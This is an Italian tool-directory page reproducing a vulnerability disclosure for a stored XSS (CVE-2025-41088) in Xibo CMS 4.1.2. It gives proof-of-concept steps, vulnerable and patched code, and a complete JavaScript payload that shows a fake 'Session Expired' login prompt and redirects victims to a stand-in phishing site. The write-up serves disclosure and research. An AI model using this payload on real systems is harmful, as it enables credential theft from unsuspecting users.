Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-41088 — Stored Cross-Site Scripting (XSS) in Xibo CMS v4.1.2 di Xibo Signage, a causa della mancanza di una corretta validazione dell'input utente. | Kitploit
Strumenti/GitHubGitHub/marinafabregat/cve-2025-41088
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPhishingPaper e RicercaApprendimento e Formazione
GitHubmarinafabregat/cve-2025-41088

CVE-2025-41088

Stored Cross-Site Scripting (XSS) in Xibo CMS v4.1.2 di Xibo Signage, a causa della mancanza di una corretta validazione dell'input utente.

Vedi Repository
59 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-41088: XSS Memorizzato in Xibo CMS

Ho scoperto una vulnerabilità di Cross-Site Scripting (XSS) Memorizzato in Xibo CMS v4.1.2. Questa vulnerabilità permette a un attaccante autenticato di iniettare script dannosi nell'applicazione a causa di una validazione impropria dell'input fornito dall'utente.

Il problema risiede nella funzionalità 'Templates'. Un attaccante può creare un template contenente un elemento di testo con un payload dannoso. Quando questo template viene visualizzato da altri utenti, lo script viene eseguito nel loro browser, potenzialmente portando al furto di dati o ad altre azioni dannose.


Prova di Concetto (PoC)

Per sfruttare la vulnerabilità, un utente autenticato deve seguire questi passaggi:

  1. Navigare alla sezione Design > Templates e creare un nuovo template.
  2. Andare alla sezione Elementi Globali e aggiungere un nuovo elemento di testo.
  3. Nel campo Testo dell'editor, inserire il payload XSS dannoso (ad esempio, <script>alert(1337)</script>).
  4. Salvare l'elemento. Il payload è ora memorizzato sul server.
  5. Lo script verrà eseguito ogni volta che il browser di un utente renderizza l'elemento compromesso.

Codice Vulnerabile

Questa sezione contiene lo snippet di codice specifico di Xibo CMS v4.1.2 che non sanifica l'input per il campo 'Testo'.

root@kitploit:~

            'extends' => [
                'override' => $moduleTemplate->extends?->override,
                'with' => $moduleTemplate->extends?->with,
                'escapeHtml' => $moduleTemplate->extends?->escapeHtml,
            ],
        ];
    } else if ($extension !== null) {
    

In un'altra riga dello stesso documento.

root@kitploit:~

            'extends' => [
                'override' => $moduleTemplate->extends?->override,
                'with' => $moduleTemplate->extends?->with,
                'escapeHtml' => $moduleTemplate->extends?->escapeHtml,
            ],
        ];


In un altro documento.

root@kitploit:~

        // Escape HTML
        convertedProperties.escapeHtml = template?.extends?.escapeHtml;
        // Compile hbs template with data
        let hbsHtml = hbsTemplate(convertedProperties);

        

Codice Corretto

Questa sezione mostra il codice corretto, che include meccanismi appropriati di sanificazione dell'input e codifica dell'output per neutralizzare gli script dannosi.

root@kitploit:~

                    'extends' => [
                        'override' => $moduleTemplate->extends?->override,
                        'with' => $moduleTemplate->extends?->with,
                        'escapeHtml' => isset($moduleTemplate->extends?->escapeHtml) ?
                            $moduleTemplate->extends->escapeHtml : 1,
                    ],
                ];
            } else if ($extension !== null) {

In un'altra riga dello stesso documento.

root@kitploit:~

                    'extends' => [
                        'override' => $moduleTemplate->extends?->override,
                        'with' => $moduleTemplate->extends?->with,
                        'escapeHtml' => isset($moduleTemplate->extends?->escapeHtml) ?
                            $moduleTemplate->extends->escapeHtml : 1,
                    ],
                ];

In un altro documento.

root@kitploit:~

        // Escape HTML
        convertedProperties.escapeHtml =
          (template?.extends?.escapeHtml === undefined) ?
            true : template.extends.escapeHtml;


        // Compile hbs template with data
        let hbsHtml = hbsTemplate(convertedProperties);
     

Sfruttamento

Il payload memorizzato viene eseguito nel contesto del browser della vittima, che può essere sfruttato per rubare informazioni sensibili come le password.

1. Iniezione del Payload: L'attaccante inserisce lo script dannoso in un elemento di testo all'interno di un template.

Script_Location

Lo script che ho usato è il seguente:

root@kitploit:~
<script>
(function() {
    // --- MAIN FUNCTION ---
    function showRedirectModal() {
        // 1. Create the elements
        const overlay = document.createElement('div');
        const modalContainer = document.createElement('div');
        const title = document.createElement('h2');
        const message = document.createElement('p');
        const redirectButton = document.createElement('button');

        // 2. Assign styles and properties
        // Style for the dark overlay
        Object.assign(overlay.style, {
            position: 'fixed', top: '0', left: '0', width: '100%', height: '100%',
            backgroundColor: 'rgba(0, 0, 0, 0.75)', zIndex: '10000',
            display: 'flex', justifyContent: 'center', alignItems: 'center'
        });

        // Style for the modal container 
        Object.assign(modalContainer.style, {
            padding: '40px', backgroundColor: '#fff', borderRadius: '8px',
            boxShadow: '0 4px 15px rgba(0,0,0,0.2)', width: '320px',
            fontFamily: 'Arial, sans-serif'
        });

        // Style for the title
        title.textContent = 'Session Expired';
        Object.assign(title.style, {
            textAlign: 'center', color: '#333', marginBottom: '15px' 
        });

        message.textContent = 'Your session has expired. Please log in again to continue.';
        Object.assign(message.style, {
            textAlign: 'center',
            color: '#555',
            marginBottom: '25px',
            lineHeight: '1.5',
            fontSize: '16px'
        });

        // Style for the redirect button
        Object.assign(redirectButton.style, {
            width: '100%', padding: '12px', border: 'none', borderRadius: '4px',
            backgroundColor: '#007bff', color: 'white', fontSize: '16px',
            cursor: 'pointer'
        });
        redirectButton.textContent = 'Log In Again'; 

        // 3. Assemble the modal structure
        modalContainer.appendChild(title);
        modalContainer.appendChild(message);
        modalContainer.appendChild(redirectButton);
        overlay.appendChild(modalContainer);

        // 4. Add the modal to the page
        document.body.appendChild(overlay);

        // 5. Define the button's behavior 
        redirectButton.addEventListener('click', function(e) {
            e.preventDefault(); // Buena práctica

            const phishingURL = 'http://my-website-example.com/login.html'; 

            window.location.href = phishingURL;
            
            document.body.removeChild(overlay);
        });
    }

    // --- Initialize the function ---
    showRedirectModal();

})();
</script>

2. Scenario di Attacco: Un attacco comune simula la scadenza della sessione per catturare le credenziali dell'utente. Lo script dirotta la pagina e presenta questo pop-up alla vittima.

image

Riferimenti

  • INCIBE-CERT (Spanish): Múltiples vulnerabilidades en Xibo CMS
  • INCIBE-CERT (Inglese): Vulnerabilità multiple in Xibo CMS

Dichiarazione di non responsabilità

Queste informazioni sono fornite solo a scopo educativo e di ricerca. NON sono responsabile per qualsiasi uso improprio o danno causato da queste informazioni.

Scarica lo strumento